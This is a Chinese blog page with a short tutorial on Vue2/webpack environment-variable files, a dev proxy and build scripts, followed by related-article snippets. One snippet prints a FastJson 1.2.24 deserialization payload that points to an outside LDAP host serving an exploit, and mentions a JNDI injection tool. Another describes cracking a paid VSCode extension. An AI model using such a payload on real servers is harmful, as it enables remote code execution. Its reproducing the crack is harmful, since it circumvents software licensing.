vue2+webpack環境變量配置

第一步:創建3個環境變量文件

在這里插入圖片描述

1、創建> 生產(本地)環境 .env.development
# 開發環境
ENV='development'
VUE_APP_MEDIA_BASE='調后端請求的地址'
2、創建> 測試環境 .env.staging
# 測試環境
ENV='staging'
VUE_APP_MEDIA_BASE='調后端請求的地址'
3、創建> 生產(正式)環境 .env.production
# 正式環境
ENV='production'
VUE_APP_MEDIA_BASE='調后端請求的地址'

第二步:在vue.config.js文件中配置


module.exports = {//生產環境使用development的變量lintOnSave: process.env.ENV === 'development',//設置代理proxy: {'/api': {target: process.env.VUE_APP_MEDIA_BASE,changeOrigin: true,}}
}

第三步:配置package.json

//正式環境build指令build:prod
//測試環境build指令build:stage"scripts": {"dev": "vue-cli-service serve","build:prod": "vue-cli-service build","build:stage": "vue-cli-service build --mode staging",}

驗證是否生效:在main.js或者vue.config.js或者任意組件中打印一下process.env.VUE_APP_MEDIA_BASE,如果獲取到就證明驗證成功了

注意!!!在文件中配置環境路徑,前面必須以VUE_APP開頭!!!

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/82086.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/82086.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/82086.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

【通用智能體】Intelligent Internet Agent (II-Agent):面向復雜網絡任務的智能體系統深度解析

Intelligent Internet Agent (II-Agent):面向復雜網絡任務的智能體系統深度解析 一、系統架構與設計哲學1.1 核心架構設計1.2 技術創新點1.2.1 動態任務分配機制1.2.2 網絡狀態感知模塊 二、系統架構解析2.1 完整工作流程2.2 性能指標對比 三…

力扣第450場周賽

Q1. 數位和等于下標的最小下標 給你一個整數數組 nums 。 返回滿足 nums[i] 的數位和(每一位數字相加求和)等于 i 的 最小 下標 i 。 如果不存在滿足要求的下標,返回 -1 。 示例 1: 輸入:nums [1,3,2] 輸出&#xff1…

【氮化鎵】偏置對GaN HEMT 單粒子效應的影響

2025年5月19日,西安電子科技大學的Ling Lv等人在《IEEE Transactions on Electron Devices》期刊發表了題為《Single-Event Effects of AlGaN/GaN HEMTs Under Different Biases》的文章,基于實驗和TCAD仿真模擬方法,研究了單粒子效應對關斷狀態、半開啟狀態和開啟狀態下AlG…

湖北理元理律師事務所債務優化方案:讓還款與生活平衡成為可能

在現代社會,債務問題已經成為影響許多家庭生活質量的重要因素。如何在不影響基本生活的前提下合理規劃還款,是眾多債務人面臨的實際難題。湖北理元理律師事務所推出的債務優化服務,正是針對這一需求而設計的專業解決方案。 該所的債務優化方…

FastJson1.2.24反序列化原理

{"type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://wmqlgxtbil.yutu.eu.org:9999/Exploit", "autoCommit":true} 測試執行 DNS解析記錄 利用JNDI工具進行注入 復現流程 java -jar JNDI-Injection-Explo…

基于Android的點餐系統_springboot+vue

開發語言:Java框架:springboot AndroidJDK版本:JDK1.8服務器:tomcat7數據庫:mysql 5.7數據庫工具:Navicat12開發軟件:eclipse/myeclipse/ideaMaven包:Maven3.3.9 系統展示 APP登錄…

Maven 項目介紹

一、Maven 概述? Maven 是一個基于 Java 的項目管理和構建自動化工具,由 Apache 軟件基金會開發。它采用 “約定優于配置”(Convention Over Configuration)的原則,通過標準化的項目結構和配置,極大地簡化了項目的構建…

人工智能+:職業技能培訓的元命題與能力重構

當“人工智能”成為各行各業的熱門命題時,我們似乎跳過了一個更根本的思考:人類究竟需要怎樣的AI能力?這個問題不解決,任何技術賦能都可能淪為無本之木。真正的挑戰不在于如何應用AI,而在于如何定義人與AI的能力邊界—…

相同,對稱,平衡,右視圖(二叉樹)

本篇基于b站靈茶山艾府。 100. 相同的樹 給你兩棵二叉樹的根節點 p 和 q ,編寫一個函數來檢驗這兩棵樹是否相同。 如果兩個樹在結構上相同,并且節點具有相同的值,則認為它們是相同的。 示例 1: 輸入:p [1,2,3], q…

MCU開發學習記錄19* - CAN學習與實踐(HAL庫) - 定時傳輸、觸發傳輸和請求傳輸(輪詢與中斷實現) -STM32CubeMX

名詞解釋: CAN:Controller Area Network ISO:?International Organization for Standardization ?OSI:?Open Systems Interconnection SOF:?Start Of Frame EOF:?End Of Frame?? 統一文章結構&…

LEED認證是什么?LEED認證難嗎?LEED認證需要準備的資料

LEED(Leadership in Energy and Environmental Design,能源與環境設計先鋒)是由美國綠色建筑委員會(USGBC)開發的一套全球廣泛認可的綠色建筑認證體系,用于評估建筑在設計、施工、運營和維護中的可持續性表…

【ffmpeg】ffprobe基本用法

ffprobe 是 FFmpeg 工具集中的一個強大命令行工具,主要用于分析多媒體文件(如視頻、音頻等)的格式和內容信息。它可以提取文件的元數據、編解碼器信息、流詳情、幀信息等,而無需對文件進行轉碼或修改。 基本用法 ffprobe [選項] …

暗黑科技感風格智慧工地監管系統

智慧工地監管系統作為這場變革中的關鍵力量,正逐漸改變著傳統工地的管理模式。今天,就帶大家一同領略一款用Axure精心打造的暗黑科技感風格智慧工地監管系統原型,感受科技與建筑碰撞出的奇妙火花。 這款智慧工地監管系統原型采用了極具魅力的…

【軟件安裝】Windows操作系統中安裝mongodb數據庫和mongo-shell工具

這篇文章,主要介紹Windows操作系統中如何安裝mongodb數據庫和mongo-shell工具。 目錄 一、安裝mongodb數據庫 1.1、下載mongodb安裝包 1.2、添加配置文件 1.3、編寫啟動腳本(可選) 1.4、啟動服務 二、安裝mongo-shell工具 2.1、下載mo…

CSS:margin的塌陷與合并問題

文章目錄 一、margin塌陷問題二、margin合并問題 一、margin塌陷問題 二、margin合并問題

PostgreSQL 數據庫備份與恢復

1 邏輯備份(單庫) postgres#pg_dump --help 使用方法: pg_dump [選項]... [數據庫名字] 一般選項: -f, --fileFILENAME 輸出文件或目錄名 -F, --formatc|d|t|p 輸出文件格式 (c 自定義壓縮格式輸出, d 目錄, tar,p 備份為文本明…

使用 LibreOffice 實現各種文檔格式轉換(支持任何開發語言調用 和 Linux + Windows 環境)[全網首發,保姆級教程,建議收藏]

以下能幫助你可以使用任何開發語言,在任何平臺都能使用 LibreOffice 實現 Word、Excel、PPT 等文檔的自動轉換,目前展示在 ASP.NET Core 中為 PDF的實戰案例,其他的文檔格式轉換邏輯同理。 📦 1. 安裝 LibreOffice 🐧…

AWS stop/start 使實例存儲lost + 注意點

先看一下官方的說明: EC2有一個特性,當執行stop/start操作(注意,這個并不是重啟/reboot,而是先停止/stop,再啟動/start)時,該EC2會遷移到其它的底層硬件上。 對于實例存儲來說,由于實例存儲是由其所在的底層硬件來提供的,此時相當于分配到了一塊全新的空的磁盤。 但是從…

跨域問題詳解

目錄 一、什么是跨域問題? 二、跨域問題出現的原因 三、跨域的解決方案 四、結語 在 Web 開發的世界里,當我們嘗試通過 AJAX 等技術獲取不同源的資源時,常常會遇到 “跨域問題”。這不僅是前端開發者頻繁遭遇的技術障礙,也是保…

VSCode 插件 GitLens 破解方法

文章目錄 1. 安裝指定版本2. 修改插件文件3. 重啟 VSCode 1. 安裝指定版本 在 VSCode 中打開擴展(Ctrl Shift X),搜索 GitLens,右鍵點擊 安裝特定版本,在彈出的窗口中選擇 17.0.2,然后等待安裝完成。 2…